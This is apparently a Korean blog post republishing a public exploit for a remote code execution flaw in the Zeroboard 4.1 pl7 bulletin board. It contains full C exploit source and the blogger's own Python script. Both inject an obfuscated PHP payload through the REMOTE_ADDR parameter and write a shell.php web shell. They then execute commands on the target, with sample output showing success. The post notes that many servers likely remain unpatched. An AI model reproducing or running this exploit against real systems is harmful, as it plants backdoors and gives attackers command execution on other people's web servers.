Zeroboard 4.1 pl7 now_connect() Remote Code Execution Exploit

Zeroboard 4.1 pl7에 대한 Exploit 코드가 공개되었네요. http://milw0rm.com/exploits/9590

취약점은 예전에 알려진 취약점으로 이미 pl8 버젼에 패치가 되었던걸로 기억하네요. 하지만 여전히 패치가 안된 서버가 많겠죠? -_-

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/*

poc by  kyoungchip,jang
email : SpeeDr00t1004@gmail.com

[*] the bug 
- http://www.xpressengine.com/15955761

Application 
- Zeroboard 4.1 pl7 

Reference: 
- http://www.nzeo.com 
- Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada 

[*] Target - My test server 

$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test 
- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test 
- Target :  http://xxx.xxx.xxx/zboard/bbs/shell.php?cmd=ls 

[+] xxx.xxx.xxx connecting ok! 
[+] Exploiting zeroboard start  - [+] Exploiting success!!
[*] Create Backdoor Start - [+] Create Backdoor  success!!
[*] Confirmming your backdoor php script - http://192.168.179.6/zeroboard/zb41pl7/bbs/data/shell.php is generated!
[+] Exploiting success!!
- http://192.168.179.6/zeroboard/bbs/data/shell.php?cmd=ls [+] Execute the websehll script  

 */

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>

#define BUFSIZE 4096
#define READSIZE 1500
#define EXPLOIT_CODE "*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1"

void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void CreateBackdoor(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);

char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;

int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];

int main(int argc, char *argv[])
{

    char *szArgv;
    switch( argc )
    {
        case 1 :
            Usage(argv[0]);      
            break;
        case 2 :
            zb_port = 80;
            //szArgv = "http://192.168.179.6/zeroboard/zb41pl7/bbs/zboard.php?id=test";
            ParseZbHost( szArgv );
            break;

        case 3:
            zb_port = atoi(argv[2]); 
            ParseZbHost(argv[1]);

            break;
        default:

            break;
    };

    ConnectZboard(zb_host, zb_port);
    ExploitZboard();
    CreateBackdoor();
    ConfirmPHPScript();
}

void ParseZbHost( char *zbhost )
{
    char *psbuf;
    char *sptr=NULL;
    char *eptr=NULL;

    psbuf = ( char* )malloc( strlen( zbhost ) + 1 );

    strcpy( psbuf, zbhost );

    if( (sptr = strstr( psbuf , "http://" ) ) == NULL) 
        OutputErr("http://host need\n", 0);

    zb_host = sptr + 7;

    sptr = strchr(zb_host, '/');
    sptr[0] = '\0';
    sptr++;

    if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) 
        OutputErr("\"zboard.php?id=\"need\n", 0);

    zb_tid = eptr+14;

    eptr--;
    eptr[0] = '\0';

    zb_dir = sptr;

    char szOut[1024];
    memset( szOut , 0x00 , sizeof( szOut ) );
    sprintf( szOut , " - Target : http://%s/%s/zboard.php?id=%s\n", zb_host, zb_dir, zb_tid);
}

void ConnectZboard( char *server , unsigned short port )
{

    struct sockaddr_in serv; 
    struct hostent *hostname;

    if( !( hostname = gethostbyname( server ) ) ) 
        printf(" \nhostname = %s\n", hostname );

    if( (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 
        printf(" \n socket error ");

    memset(&serv, 0, sizeof(serv));
    serv.sin_family = AF_INET;
    serv.sin_port = htons(port);
    serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);

    if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
    {
        printf("\n not connect");
    }

    if(!reconn) 
    {
    }
    else if(reconn == 1) 
    {
    }
    reconn = 0;

}

void ExploitZboard(void)
{  

    fd_set fds;
    struct timeval tv;

    if(reconn == 1) ConnectZboard(zb_host, zb_port); 

    memset(WriteBuf, 0, sizeof(WriteBuf));

    sprintf(WriteBuf,"GET http://%s/%s/lib.php?REMOTE_ADDR=" , zb_host,zb_dir); 

    sprintf(WriteBuf+strlen(WriteBuf),
            "%s HTTP/1.1\r\n"
            "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
            "Accept-Encoding: gzip, deflate\r\n"
            "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
            "Host: %s\r\n"
            "Connection: Keep-Alive\r\n"
            "\r\n",EXPLOIT_CODE, zb_host);

    fprintf(stdout, " [+] Exploiting zeroboard start ");
    fflush(stdout);

    if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

    tv.tv_sec = 60;
    tv.tv_usec = 0;

    FD_ZERO(&fds);

    for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
            if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

            if(strstr(ReadBuf, "HTTP/1.1 ")){
                if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

                if(strstr(ReadBuf+9, "200 OK\r\n")) { 
                    fprintf(stdout," - [+] Exploiting success!!\n", zb_host, zb_dir, zb_tid);
                    fflush(stdout);
                    return;
                }
                else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
                    OutputErr(" - zeroboard was patched.\n"
                            " [-] Exploit failed!\n", 0);
                }
                else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
                    OutputErr(" - Bad Request\n"
                            " [-] Exploit failed!\n", 0);
                }
                else {
                    OutputErr(ReadBuf, 0);
                }
            }

        }
    }

    fprintf(stderr," error!\n");
}

void CreateBackdoor(void)
{  

    fd_set fds;
    struct timeval tv;

    if(reconn == 1) ConnectZboard(zb_host, zb_port); 

    memset(WriteBuf, 0, sizeof(WriteBuf));

    sprintf(WriteBuf,
            "GET http://%s/%s/data/now_connect.php HTTP/1.1\r\n"
            "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
            "Accept-Encoding: gzip, deflate\r\n"
            "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
            "Host: %s\r\n"
            "Connection: Keep-Alive\r\n"
            "\r\n", zb_host,zb_dir, zb_host);

    fprintf(stdout, " [*] Create Backdoor Start");
    fflush(stdout);

    if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

    tv.tv_sec = 60;
    tv.tv_usec = 0;

    FD_ZERO(&fds);

    for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
            if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

            if(strstr(ReadBuf, "HTTP/1.1 ")){
                if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

                if(strstr(ReadBuf+9, "200 OK\r\n")) { 
                    fprintf(stdout," - [+] Create Backdoor  success!!\n", zb_host, zb_dir, zb_tid);
                    fflush(stdout);
                    return;
                }
                else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
                    OutputErr(" zeroboard was patched.\n"
                            " [-] Exploit failed!\n", 0);
                }
                else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
                    OutputErr(" - Bad Request\n"
                            " [-] Exploit failed!\n", 0);
                }
                else {
                    OutputErr(ReadBuf, 0);
                }
            }

        }
    }

    fprintf(stderr," error!\n");
}

void ConfirmPHPScript(void)
{  

    fd_set fds;
    struct timeval tv;

    if(reconn == 1) ConnectZboard(zb_host, zb_port); 

    memset(WriteBuf, 0, sizeof(WriteBuf));

    sprintf(WriteBuf,
            "GET http://%s/%s/data/shell.php HTTP/1.1\r\n"
            "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
            "Accept-Encoding: gzip, deflate\r\n"
            "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
            "Host: %s\r\n"
            "Connection: Keep-Alive\r\n"
            "\r\n", zb_host,zb_dir, zb_host);

    fprintf(stdout, " [*] Confirmming your backdoor php script");
    fflush(stdout);

    if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

    tv.tv_sec = 60;
    tv.tv_usec = 0;

    FD_ZERO(&fds);

    for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
            if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

            if(strstr(ReadBuf, "HTTP/1.1 ")){
                if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

                if(strstr(ReadBuf+9, "200 OK\r\n")) { 
                    fprintf(stdout," - http://%s/%s/data/shell.php is generated!\n [+] Exploiting success!!\n", zb_host, zb_dir);
                    fprintf(stdout," - http://%s/%s/data/shell.php?cmd=ls [+] Execute the websehll script  \n", zb_host, zb_dir);
                    fflush(stdout);
                    return;
                }
                else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
                    OutputErr(" - zeroboard was patched.\n"
                            " [-] Exploit failed!\n", 0);
                }
                else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
                    OutputErr(" - Bad Request\n"
                            " [-] Exploit failed!\n", 0);
                }
                else {
                    OutputErr(ReadBuf, 0);
                }
            }

        }
    }

    fprintf(stderr," error!\n");
}

void StatusProcess(void)
{

    putchar('.');
    fflush(stdout);
}

void OutputErr(char *msg, int type)
{

    if(!type)
    {
        fprintf(stderr,"%s", msg);
        fflush(stderr);
    }
    else if(type==1)
    {
        if(!strcmp(msg, zb_host)) 
        {
            herror(msg);
        }
        else 
        {
            perror(msg);
        }
    }

    exit(1);
}

void Usage(char *arg)
{ 
    fprintf(stderr,"[*] Zeroboard now_connect() vulnerability Remote code execution  exploit by SpeeDr00t\n"); 
    fprintf(stderr,"--------------------------------------------------------------------------\n");
    fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80] \n", arg);
    fprintf(stderr,"--------------------------------------------------------------------------\n");

    exit(1);
}

// milw0rm.com [2009-09-04]

추가로 제가 Python으로 간단하게 만든 스크립트 입니다.

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#!/usr/bin/env python
import httplib, sys
from urlparse import urlparse

def main():
    if len(sys.argv) != 2:
        print 'Usage:./lib_php_remote_addr.py http://test.com/bbs/'
        sys.exit()

    input = sys.argv[1]
    o = urlparse(input)
    host = o.netloc
    path = o.path

    print '[+] HOST : ' + host
    print '[+] PATH : ' + path

    attack = '*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1'

    conn = httplib.HTTPConnection(host)
    conn.request('GET', path + '/lib.php?REMOTE_ADDR=' + attack)
    r1 = conn.getresponse()
    print r1.status, r1.reason

    conn.request('GET', path + '/data/now_connect.php')
    r1 = conn.getresponse()
    print r1.status, r1.reason

    conn.request('GET', path + '/data/shell.php?cmd=ls')
    r1 = conn.getresponse()
    print r1.read()

    conn.close()

if __name__ == '__main__':
    print '[+] Start'
    main()
    print '[+] End'